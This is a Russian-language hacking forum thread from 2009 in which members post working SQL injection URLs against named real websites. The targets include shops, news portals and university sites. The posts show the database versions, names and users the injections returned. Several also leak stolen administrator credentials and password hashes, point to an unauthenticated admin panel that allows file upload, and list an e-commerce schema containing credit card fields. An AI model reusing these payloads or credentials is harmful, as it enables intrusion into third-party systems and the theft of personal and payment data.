ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
20.02.2009, 03:19
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557
Репутация:
606
|
|
http://trovator.combios.es/temas/index.php?np=1&c=-188+union+seLECT+1,concat_ws(0x3a,ID,LOGIN,NAME,PA SSWORD,EMAIL),3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33, 34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50 +from+PLD_USER--
логин - jsenyas: пароль - relevator: мыло - jose@combios.es
путь к админке по понятным причинам выкладывать не буду...кому надо - найдут и так
|
|
|
20.02.2009, 06:02
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865
Репутация:
571
|
|
Канал "Кинопоказ".
Код:
http://www.kinopokaz.tv/index.php?a=166+and+ascii(substring((select+1+from+site_userlist+limit+1),1,1))%3E1--
kinopokazeditor:4133e372138889e4ef3cb1ac01cb85ed |
|
|
|
20.02.2009, 11:11
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
http://www.andonet.ro/Philips_Magic3VoicePPF571_1908+UNION+SELECT+1,2,3, 4,5,6,7,8,9,10,11,12,13,14,15,concat(version(),dat abase(),user()),17,18,19,20,21,22,23,24,25,26,27,2 8,29,30,31,32,33+LIMIT+1,1.htm
Version : 5.0.51a-log
Database : andonet_ro_librarie
User : peterfi@192.168.88.1
Последний раз редактировалось Gorev; 20.02.2009 в 14:06..
|
|
|
|
20.02.2009, 11:45
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
georgiasouthern.edu
http://news.georgiasouthern.edu/press-release.php?nid=-61+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*
Последний раз редактировалось jokester; 20.02.2009 в 11:57..
Причина: Northwestu.edu боян
|
|
|
|
20.02.2009, 14:15
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
http://www.angelosoft.ro/laptop-fujitsu-siemens-esprimo-mobile-v6535-core-duo-t3200-200ghz-15434-2gb-160gb-dvd-p-4725+UNION+SELECT+1,2,concat_ws(0x3a,version(),dat abase(),user())--%20.html?osCsid=ffde33f340450de06bae3b47a148caf2
Database Version: 5.0.67-community
Database name: angeloso_osc2@localhost
User name: angeloso_osc2
tables
CHARACTER_SETS, COLLATIONS, COLLATION_CHARACTER_SET_APPLICABILITY, COLUMNS, COLUMN_PRIVILEGES, KEY_COLUMN_USAGE, PROFILING, ROUTINES, SCHEMATA, SCHEMA_PRIVILEGES, STATISTICS, TABLES, TABLE_CONSTRAINTS, TABLE_PRIVILEGES, TRIGGERS, USER_PRIVILEGES, VIEWS, address_book, address_format, banners, banners_history, cache, categories, categories_description, configuration, configuration_group, counter, counter_history, countries, currencies, customers, customers_basket, customers_basket_attributes, customers_info, customers_searches, customers_to_extra_fields, cuvant_cheie, extra_fields, extra_fields_info, geo_zones, languages, manufacturers, manufacturers_info, newsletters, orders, orders_products, orders_products_attributes, orders_products_download, orders_status, orders_status_history, orders_total, products, products_attributes, products_attributes_download, products_description, products_extra_fields, products_notifications, products_options, products_options_values, products_options_values_to_products_options, products_to_categories, products_to_products_extra_fields, reviews, reviews_description, sessions, specials, specials1, tax_class, tax_rates, tmp_tax_rates, whos_online, zones, zones_to_geo_zones
column orders
customers_city, customers_postcode, customers_state, customers_country, customers_telephone, customers_email_address, customers_address_format_id, delivery_name, delivery_company, delivery_street_address, delivery_suburb, delivery_city, delivery_postcode, delivery_state, delivery_country, delivery_address_format_id, billing_name, billing_company, billing_street_address, billing_suburb, billing_city, billing_postcode, billing_state, billing_country, billing_address_format_id, payment_method, cc_type, cc_owner, cc_number, cc_expires, last_modified, date_purchased, orders_status, orders_date_finished, currency, currency_value
Последний раз редактировалось Gorev; 20.02.2009 в 19:32..
|
|
|
|
20.02.2009, 17:38
|
|
Познающий
Регистрация: 02.01.2009
Сообщений: 55
Провел на форуме:
393715
Репутация:
90
|
|
www.playground.ru
Для любителей острых ощущений=)))
http://www.playground.ru/games/-gta_4'+union+select+1,2,3,concat_ws(0x3a,user(),da tabase(),version()),5,6,7,8,9,10,11,12,13,14,15,16 ,17,18,19,20+--+
p.s. вывод в адресной строке
|
|
|
|
20.02.2009, 19:15
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
http://www.brainzcomputers.ro/index.php?page=detalii_video&chipset=ATI&id_produs =-38+UNION+SELECT+1,2,aes_decrypt(aes_encrypt(concat _ws(0x3a,version(),database(),user()),0x71),0x71), 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
Database Version: 4.1.11-Debian_4sarge8-log
Database name: ccd_brainz
User name: ccd_brainz@localhost
Последний раз редактировалось Gorev; 20.02.2009 в 19:34..
|
|
|
|
20.02.2009, 20:33
|
|
Участник форума
Регистрация: 14.01.2009
Сообщений: 257
Провел на форуме:
1936181
Репутация:
688
|
|
Код:
http://www.viewtrak.com/about/article.php?id=-1+union+select+1,2,3,4,concat _ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14--
Database Version : 4.1.22-community-n
Database name : viewtrak
User name : view_www@viewtrak-apps.viewtrak.com
админ :
Код:
http://www.viewtrak.com/about/article.php?id=-1+union+select+1,2,3,4,concat_ ws(0x3a,user_ name,password),6,7,8,9,10,11,12,13,14+from+users--
Код:
admin:admin4viewtrak
админка без авторизации:
Код:
http://www.viewtrak.com/admin/en/ index.php
так же в ней можно добавлять файлы 
------------------------------------------------------------#
Код:
http://www.cite.hku.hk/news.php?category=seminar&id=-1+union+select+1,concat_ws(0x3a,version(),database(), u ser()),3,4,5,6,7,8,9,10,11,12,13,14,15--
Database Version : 5.0.37-log
Database name : cite
User name : citedbo@localhost
админы:
Код:
http://www.cite.hku.hk/news.php?category=seminar&id=-1+union+select+1,concat _ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+account--
Код:
Candy:$1$4iOeog5p$te/NM9ZmknZbtV.uSHFcr1
Bella:$1$rJdba229$9YqG3IApT4Ox9XHwdsgxL/
Последний раз редактировалось f1ng3r; 20.02.2009 в 21:10..
|
|
|
|
20.02.2009, 21:51
|
|
Новичок
Регистрация: 19.01.2009
Сообщений: 15
Провел на форуме:
31493
Репутация:
13
|
|
Код:
http://spotters.net.ua/file/?id=-1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,(concat_ws(CHAR(58),CHAR(58),CHAR(58),CHAR(58),user(),database(),version())),19,20,21,22,23
вывод в строке заголовка
user - spotters_spot@apollo
db - spotters_spot
version - 4.1.22-log |
|
|
|
20.02.2009, 21:54
|
|
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
Провел на форуме:
2358980
Репутация:
930
|
|
одна скуля, но интересная 
Недвижимость в Испании :: Costa Real
Код:
http://www.costa-real.ru/articlesInfo.php?id=20+union+select+concat(version(),0x3a,user(),0x3a,database()),222,333,444,555,666--
вывод - смотрим исходный код
user(): costareal.info@10.0.0.13
database(): costareal
version(): 5.0.32-Debian_7etch6-log
PR=4
тИЦ=40
т к 5-ая ветка читаем таблицы
Код:
http://www.costa-real.ru/articlesInfo.php?id=20+union+select+table_name,222,333,444,555,666+from+information_schema.tables--
дальше сами.
Последний раз редактировалось z00MAN; 20.02.2009 в 21:56..
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид